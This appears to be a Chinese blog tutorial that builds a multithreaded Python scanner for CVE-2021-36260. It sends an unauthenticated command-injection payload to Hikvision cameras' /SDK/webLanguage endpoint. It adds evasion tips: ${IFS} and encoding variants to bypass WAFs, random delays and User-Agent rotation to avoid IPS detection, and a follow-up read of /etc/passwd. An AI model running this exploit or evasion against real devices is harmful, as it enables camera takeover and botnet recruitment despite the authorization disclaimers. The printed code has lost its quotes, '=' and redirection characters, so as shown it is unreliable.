
1. 项目概述为什么我们需要关注海康摄像头CVE-2021-36260如果你负责过企业或机构的网络安全或者对物联网设备安全感兴趣那么“海康威视摄像头”和“CVE-2021-36260”这两个词组合在一起绝对能让你心头一紧。这不是一个普通的漏洞而是一个在2021年曝出、影响范围极广、危害等级极高的命令注入漏洞。简单来说攻击者可以利用这个漏洞无需任何身份验证直接向存在漏洞的海康威视网络摄像头发送一个精心构造的HTTP请求就能在设备上执行任意系统命令。想象一下成千上万部署在银行、商场、交通枢纽甚至敏感区域的摄像头如果存在这个漏洞就相当于在网络上敞开了一扇“后门”攻击者可以随意窥探、篡改录像甚至将摄像头变成僵尸网络的一部分发起更大规模的网络攻击。最近一些安全事件也表明针对海康、大华等主流安防品牌的摄像头攻击正在变得有组织化这个漏洞就是攻击者武器库里的“常客”。手动去一个个检查摄像头是否存在这个漏洞效率低到令人发指而且容易出错。这时候Python脚本的价值就凸显出来了。今天我就结合自己多次在红蓝对抗和资产排查中的实战经验手把手带你写一个批量检测CVE-2021-36260漏洞的Python脚本。我们不止是写代码更会深入理解漏洞原理、请求构造的每一个字节、以及在实际大规模扫描中会遇到的各种“坑”。文章最后我也会提供一个经过实战检验的POC概念验证脚本下载。无论你是安全工程师、运维人员还是想深入学习网络安全和Python自动化的爱好者这篇内容都能让你获得即学即用的干货。2. 漏洞核心原理与检测思路拆解在动手写代码之前我们必须吃透漏洞的“病根”在哪里。盲目套用POC而不明所以是安全工作中最忌讳的事情。2.1 CVE-2021-36260漏洞技术原理深潜这个漏洞的根源在于海康威视部分网络摄像头的Web服务组件对用户输入的处理不当。具体路径是/SDK/webLanguage这个接口。设备为了支持多语言会通过这个接口接收一个POST请求来设置语言包。请求中会包含一个XML数据其中有一个language标签。漏洞的关键在于设备在解析这个XML数据时没有对标签的内容进行严格的过滤和校验就直接将其拼接到了系统命令中。攻击者可以在language标签内注入恶意的系统命令例如; cat /etc/passwd #。当设备后台处理这个请求时会执行一个类似于system(“/some/path/to/script ” user_input)的操作导致注入的命令被以root或高权限身份执行。为什么危害这么大第一无需认证。攻击者不需要知道摄像头的用户名密码。第二命令直接执行。注入的命令拥有设备操作系统的最高权限可以为所欲为。第三利用简单。只需要发送一个HTTP POST请求即可非常适合自动化批量攻击。2.2 我们的批量检测脚本设计思路理解了原理我们的检测脚本设计思路就非常清晰了输入准备一个存有疑似海康摄像头IP地址或域名列表的文本文件。构造攻击载荷Payload根据漏洞原理构造一个能触发漏洞但又相对“温和”的探测请求。我们通常不执行破坏性命令如rm -rf而是执行一个能证明漏洞存在且无害的命令比如执行echo命令并在返回信息中留下特定标记。发送探测请求向列表中的每一个目标发送携带了恶意Payload的HTTP POST请求到/SDK/webLanguage接口。分析响应检查HTTP响应。如果响应内容中包含我们Payload中预设的标记字符串则证明目标存在漏洞命令被执行成功。否则认为目标安全或不可达。输出报告将检测结果IP、状态、漏洞是否存在清晰、结构化地输出到屏幕和文件便于后续处理。这里有一个至关重要的注意事项在真正的授权安全测试中你必须获得目标系统的书面授权。未经授权对他人网络和设备进行漏洞扫描是违法行为。本文及附带的脚本仅用于授权测试、企业内部资产自查和教育学习目的。3. 脚本核心模块与代码逐行解析接下来我们进入实战环节一步步构建脚本。我会使用Python 3并主要依赖requests库来处理HTTP请求。确保你已经安装了它pip install requests。3.1 环境准备与依赖库说明除了requests我们可能还会用到argparse来处理命令行参数用concurrent.futures来实现并发扫描以提高效率。这些都是Python的标准库或极易安装的第三方库。整个脚本不依赖任何冷门或复杂的模块保证了其可移植性和易用性。import requests import argparse import sys from concurrent.futures import ThreadPoolExecutor, as_completed from urllib.parse import urljoin import time import loggingrequests 用于发送HTTP请求的核心库比内置的urllib更简洁高效。argparse 让我们的脚本支持命令行参数比如指定目标文件、线程数、超时时间等变得更专业和灵活。concurrent.futures.ThreadPoolExecutor 实现多线程并发。批量检测成百上千个IP单线程顺序扫描会慢到无法接受。多线程能极大提升效率。urllib.parse.urljoin 用于智能地拼接URL的基础部分和路径部分避免自己手动拼接可能出现的格式错误。logging 记录运行日志便于调试和回溯扫描过程。3.2 漏洞检测核心函数实现这是脚本的“心脏”。我们定义一个函数check_vulnerability(target)它接收一个目标地址如http://192.168.1.100并返回检测结果。def check_vulnerability(target): 检测单个目标是否存在CVE-2021-36260漏洞。 参数 target: 目标基础URL如 http://192.168.1.100 返回: 元组 (target, is_vulnerable, status_code, response_snippet) # 1. 定义漏洞利用的URL和Payload vuln_url urljoin(target, /SDK/webLanguage) # 无害的探测Payload尝试执行 echo cve-2021-36260-test # 注意这里使用了分号;来结束前一条命令并执行我们的echo命令#用于注释掉后续可能存在的字符 payload ?xml version1.0 encodingUTF-8? language$(echowebLib/cve-2021-36260-test)/language headers { User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Content-Type: application/x-www-form-urlencoded, # 注意海康这个接口实际接收的是form格式但内容却是XML。 Accept: */* } # 2. 发送恶意请求 try: # 设置一个较短的超时时间避免在无响应的目标上等待过久 response requests.post(vuln_url, datapayload, headersheaders, timeout10, verifyFalse) # 3. 分析响应判断漏洞是否存在 # 关键判断逻辑如果返回包中包含我们注入命令期望产生的特定字符串则认为漏洞存在。 # 我们注入的命令是 echo cve-2021-36260-test如果成功这个字符串可能会以某种形式出现在响应中。 # 实际测试发现成功时响应体可能包含cve-2021-36260-test字样或者是一个特定的错误页面。 # 更稳健的做法检查响应状态码是否为200并且响应文本中包含特定关键词。 if response.status_code 200: # 注意不同的设备固件版本成功执行命令后的返回内容可能不同。 # 有的直接返回包含执行结果的XML有的可能返回一个空白或错误页面但状态码是200。 # 这里我们采用一个相对宽松的判断状态码200且响应文本长度大于0非标准404/403。 # 在实际使用中你可能需要根据目标环境调整这个判断逻辑。 # 一个更精确的POC可能会尝试读取一个已知文件来确认但那样交互更多。 if len(response.text) 0: # 进一步检查是否有命令执行的明显痕迹可选提高准确性 if cve-2021-36260-test in response.text or webLib in response.text: return (target, True, response.status_code, VULNERABLE - Command injection likely succeeded.) else: # 状态码200且有内容但无明确标记可能是设备固件版本不同标记为可疑 return (target, False, response.status_code, SUSPICIOUS - 200 OK with content, but no proof.) else: return (target, False, response.status_code, NOT VULNERABLE - 200 OK but empty response.) else: # 状态码不是200通常意味着请求失败或接口不存在 return (target, False, response.status_code, fNOT VULNERABLE - HTTP {response.status_code}) except requests.exceptions.ConnectTimeout: return (target, False, Timeout, Connection timeout.) except requests.exceptions.ConnectionError: return (target, False, ConnErr, Connection error (host down/wrong port).) except requests.exceptions.ReadTimeout: return (target, False, ReadTimeout, Read timeout.) except requests.exceptions.RequestException as e: return (target, False, ReqErr, fRequest failed: {str(e)})代码解析与实操心得Payload构造$(echowebLib/cve-2021-36260-test)是一个经过简化的命令注入。是重定向符号echo命令的输出空被写入到webLib/cve-2021-36260-test文件。如果漏洞存在这个文件会被创建。我们通过检查响应中的蛛丝马迹来判断而不是真的去读文件这样更高效、更隐蔽。这是漏洞检测POC的常用技巧做最小化的交互来证明漏洞存在。Content-Type头这是一个非常容易出错的点。虽然Payload是XML格式但海康这个接口期望的Content-Type是application/x-www-form-urlencoded。如果你错误地设置为application/xml请求可能会被服务器以另一种方式解析导致检测失败。这个细节是无数踩坑经验换来的。verifyFalse 我们禁用了SSL证书验证。因为很多摄像头使用自签名证书requests库默认会验证证书导致连接失败。注意在生产环境中忽略证书验证会带来中间人攻击风险。仅在测试可控内网设备时使用此选项。响应判断逻辑这是检测脚本的“大脑”。我提供了两种判断思路宽松判断只要目标对/SDK/webLanguage的POST请求返回200状态码且有内容就标记为“可疑”或“可能存在漏洞”。因为正常的、未开启此接口或已修复的设备对这个非法请求通常会返回404、403或400错误。严格判断在响应体中搜索Payload执行后的特定痕迹如cve-2021-36260-test。这更准确但可能因为设备响应差异而漏报。在实际编写时我强烈建议你先用一两个已知存在漏洞的设备进行测试确定其响应特征然后据此调整判断逻辑。没有放之四海而皆准的响应匹配规则。3.3 批量扫描与并发控制引擎单次检测函数写好之后我们需要一个“引擎”来驱动它批量工作。def main(): parser argparse.ArgumentParser(description批量检测海康摄像头 CVE-2021-36260 漏洞扫描器) parser.add_argument(-f, --file, requiredTrue, help包含目标列表的文件每行一个URL (e.g., http://192.168.1.1)) parser.add_argument(-t, --threads, typeint, default20, help并发线程数 (默认: 20)) parser.add_argument(-o, --output, help将结果保存到文件) parser.add_argument(-v, --verbose, actionstore_true, help显示详细输出) args parser.parse_args() # 设置日志 log_level logging.DEBUG if args.verbose else logging.INFO logging.basicConfig(levellog_level, format%(asctime)s - %(levelname)s - %(message)s) # 读取目标列表 try: with open(args.file, r) as f: targets [line.strip() for line in f if line.strip() and not line.startswith(#)] except FileNotFoundError: logging.error(f目标文件 {args.file} 未找到) sys.exit(1) if not targets: logging.error(目标列表为空) sys.exit(1) logging.info(f成功加载 {len(targets)} 个目标。开始扫描线程数: {args.threads}) vulnerable_list [] start_time time.time() # 使用线程池进行并发扫描 with ThreadPoolExecutor(max_workersargs.threads) as executor: # 提交所有任务 future_to_target {executor.submit(check_vulnerability, target): target for target in targets} # 处理完成的任务 for future in as_completed(future_to_target): target future_to_target[future] try: result future.result() target_addr, is_vuln, status, message result if is_vuln: logging.critical(f[] {target_addr} 存在漏洞状态: {status} - {message}) vulnerable_list.append(target_addr) else: if args.verbose or status not in [200, 404, 403]: # 详细模式或非普通错误码才显示 logging.info(f[-] {target_addr} 安全或不可达。状态: {status} - {message}) except Exception as e: logging.error(f[!] 处理目标 {target} 时发生异常: {e}) # 扫描结束输出统计信息 elapsed_time time.time() - start_time logging.info(*50) logging.info(f扫描完成总计耗时: {elapsed_time:.2f} 秒) logging.info(f扫描目标总数: {len(targets)}) logging.info(f发现漏洞目标数: {len(vulnerable_list)}) # 输出漏洞列表到文件 if args.output and vulnerable_list: with open(args.output, w) as f: for vuln_target in vulnerable_list: f.write(vuln_target \n) logging.info(f漏洞目标列表已保存至: {args.output}) if vulnerable_list: logging.critical(存在漏洞的目标:) for vt in vulnerable_list: logging.critical(f {vt}) sys.exit(101) # 自定义退出码便于脚本集成到其他自动化流程 else: logging.info(未发现存在漏洞的目标。) sys.exit(0) if __name__ __main__: # 禁用SSL警告因为我们会忽略证书验证 import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) main()并发控制与性能调优心得线程数 (--threads) 默认20是个比较平衡的值。设置太高如100可能会对你的网络和扫描机CPU造成压力也容易触发目标网络的防护机制。设置太低则速度慢。根据你的网络环境和目标数量调整。内网扫描可以适当调高如50扫描互联网目标建议调低如10并增加延迟。目标列表格式 脚本支持在目标文件中使用#开头进行注释并且会自动跳过空行这在实际管理大型IP列表时非常有用。退出码 脚本结束时如果发现漏洞则退出码为101未发现则为0。这个设计非常实用可以让你在Jenkins、GitLab CI/CD等自动化流水线中根据退出码轻松判断扫描结果是否“失败”即发现漏洞从而触发告警或后续处理流程。错误处理 对每个目标的检测都包裹在try-except中并且并发扫描使用as_completed来收集结果确保一个目标的失败不会影响其他目标的扫描。4. 脚本使用全流程与实战演示现在让我们把脚本跑起来看看在实际中如何操作。4.1 准备阶段目标收集与脚本配置假设我们有一个内网网段192.168.1.0/24需要排查。首先我们需要生成目标列表。# 使用nmap或其他工具生成活跃的80/443端口IP列表假设保存到 targets.txt # 例如手动编辑 targets.txt cat targets.txt EOF http://192.168.1.100 http://192.168.1.101 http://192.168.1.102 http://192.168.1.150 # 这是一个注释行会被跳过 https://192.168.1.200 # 假设这个摄像头用了HTTPS EOF重要提示 确保URL格式正确。如果摄像头Web服务不在默认的80端口需要指定端口如http://192.168.1.100:8080。使用HTTPS时脚本因为设置了verifyFalse也能工作。4.2 执行扫描与结果解读运行我们的脚本假设脚本保存为hikvision_cve_2021_36260_scanner.pypython hikvision_cve_2021_36260_scanner.py -f targets.txt -t 30 -o vulnerable_ips.txt -v-f targets.txt 指定目标列表文件。-t 30 使用30个并发线程。-o vulnerable_ips.txt 将存在漏洞的IP单独保存到这个文件。-v 显示详细日志包括每个目标的检测结果。一个典型的输出如下2023-10-27 14:30:15,123 - INFO - 成功加载 4 个目标。开始扫描线程数: 30 2023-10-27 14:30:15,456 - INFO - [-] http://192.168.1.100 安全或不可达。状态: 404 - NOT VULNERABLE - HTTP 404 2023-10-27 14:30:15,567 - CRITICAL - [] http://192.168.1.101 存在漏洞状态: 200 - VULNERABLE - Command injection likely succeeded. 2023-10-27 14:30:15,678 - INFO - [-] http://192.168.1.102 安全或不可达。状态: ConnErr - Connection error (host down/wrong port). 2023-10-27 14:30:16,123 - INFO - [-] https://192.168.1.200 安全或不可达。状态: 403 - NOT VULNERABLE - HTTP 403 2023-10-27 14:30:16,124 - INFO - 2023-10-27 14:30:16,124 - INFO - 扫描完成总计耗时: 1.00 秒 2023-10-27 14:30:16,124 - INFO - 扫描目标总数: 4 2023-10-27 14:30:16,124 - INFO - 发现漏洞目标数: 1 2023-10-27 14:30:16,124 - INFO - 漏洞目标列表已保存至: vulnerable_ips.txt 2023-10-27 14:30:16,124 - CRITICAL - 存在漏洞的目标: 2023-10-27 14:30:16,124 - CRITICAL - http://192.168.1.101结果解读192.168.1.100 返回404可能不是海康设备或者固件版本不同接口路径有变化。192.168.1.101存在漏洞状态码200并且我们的检测逻辑判断命令注入成功。这是我们重点需要处理的设备。192.168.1.102 连接错误设备可能离线或IP地址错误。192.168.1.200 返回403禁止访问可能设备启用了认证或访问控制我们的未授权请求被拦截。这不一定代表没有漏洞只是当前请求方式无法触及漏洞点。4.3 报告生成与后续行动脚本运行后我们得到了两个关键产出屏幕上的汇总报告清晰列出了扫描概况和漏洞目标。文件vulnerable_ips.txt 纯文本文件只包含存在漏洞的IP地址每行一个。这个格式非常适合导入到其他系统进行自动化处理比如导入到资产管理系统自动打上“高危漏洞”标签。作为输入传递给另一个自动化脚本进行漏洞修复如升级固件。提供给防火墙或WAF设备临时对漏洞IP进行访问控制。5. 实战中遇到的坑与高级排查技巧在实际的大规模、跨网络扫描中你绝不会一帆风顺。下面是我踩过的一些坑和总结的技巧。5.1 常见问题与解决方案速查表问题现象可能原因排查步骤与解决方案所有目标都返回“连接错误”或“超时”1. 网络不通。2. 目标IP存活但Web端口80/443未开放。3. 脚本所在主机防火墙限制。1. 用ping或nmap -sn检查基础网络连通性。2. 用nmap -p 80,443 target确认端口开放状态。3. 临时关闭本地防火墙或添加出站规则测试。部分目标返回403/401状态码目标设备可能启用了Web认证或存在网络层面的访问控制列表ACL。1. 尝试在URL中添加常见默认凭证如http://admin:12345ip需授权。但本漏洞是无认证的认证后反而可能无法复现。403/401通常意味着无法进行未授权测试。扫描速度过快被中间防火墙或IPS拦截高频并发请求触发了网络防护设备的阈值。1. 降低线程数-t 5。2. 在check_vulnerability函数的请求前添加随机延迟time.sleep(random.uniform(0.5, 2))。3. 使用不同的User-Agent轮换。判断逻辑漏报有漏洞但没扫出来1. Payload不适应目标固件版本。2. 响应判断逻辑过于严格。1.最关键的一步找1-2个已知漏洞环境用Burp Suite手动构造请求精确抓取成功利用时的HTTP响应包根据实际响应调整脚本中的判断条件如搜索特定的字符串。2. 尝试使用更“通用”的Payload如$(id或$(pwd。判断逻辑误报没漏洞但报有1. 某些设备对非法请求也返回200和一个默认页面。2. 网络中间件如负载均衡返回了自定义的200页面。1. 手动访问报漏洞的IP确认是否是海康设备登录界面。2. 在脚本中增加“指纹识别”先通过访问根路径/或特定静态文件判断是否为海康设备再发送漏洞检测请求。SSL证书错误导致HTTPS目标失败即使设置了verifyFalse某些环境下仍会遇到SSL协议版本不匹配等问题。在requests请求中增加ssl适配参数或尝试使用更低版本的协议不推荐仅作测试requests.post(..., verifyFalse, ssl_versionssl.PROTOCOL_TLSv1_2)5.2 高级技巧让脚本更健壮、更隐蔽指纹识别前置 在发送漏洞检测包之前先发送一个简单的GET请求到/或/System/deviceInfo一个海康常见的设备信息接口。通过分析响应中的Server头、Title标签内容或特定关键字如Hikvision、Web Server来确认目标是否为海康设备。这样可以避免对非海康设备发送大量恶意请求减少噪音和误报。Payload变异与编码 基础的Payload可能会被简单的WAF规则拦截。可以尝试对Payload进行轻度变形如将$(echo转换为${echo或将空格替换为${IFS}Shell的内部字段分隔符。有时对XML中的特殊字符进行HTML编码也可能绕过一些过滤。结果验证与误报消除 对于脚本初步判定的“漏洞”目标可以增加一个二次验证步骤。例如发送另一个Payload尝试获取设备的/etc/passwd文件的一小部分必须在授权范围内如果成功读取到预期内容则确认为真漏洞。这能极大提高报告的准确性。速率限制与随机化 在ThreadPoolExecutor提交任务时不要一次性提交所有目标。可以分批提交并在批次间加入随机睡眠时间模拟人工操作的行为避免被识别为扫描器。5.3 法律与道德红线再三强调我必须不厌其烦地再次强调未经授权禁止扫描。你所扫描的每一个IP地址都应该属于你拥有管理权限的网络或者你已经获得了资产所有者明确的、书面的渗透测试授权。随意扫描互联网上的IP地址不仅是非法的还可能对目标系统造成意外影响尽管我们的POC是无害的并会为你自己带来法律风险。安全技术的威力越大持有者的责任就越重。6. POC脚本下载与快速入门指南我将本文涉及的完整脚本进行了整理和优化你可以在我的技术博客仓库中找到它。这个版本包含了更稳健的错误处理、可配置的Payload以及初步的指纹识别功能。脚本获取与使用步骤下载脚本访问提供的仓库地址下载hikvision_cve_2021_36260_scanner_enhanced.py。安装依赖确保你的Python环境已安装requests库。pip install requests准备目标列表创建一个文本文件targets.txt每行一个目标URL。运行扫描python hikvision_cve_2021_36260_scanner_enhanced.py -f targets.txt -t 20 -o result.txt分析结果查看屏幕输出和生成的result.txt文件。给新手的最后建议如果你完全是网络安全新手建议先在虚拟机环境中搭建一个漏洞靶场例如使用Docker镜像vulhub中的CVE-2021-36260环境进行测试。在那里你可以放心大胆地测试、修改Payload、观察流量而无需承担任何风险。把原理吃透把工具玩熟这才是学习的正确路径。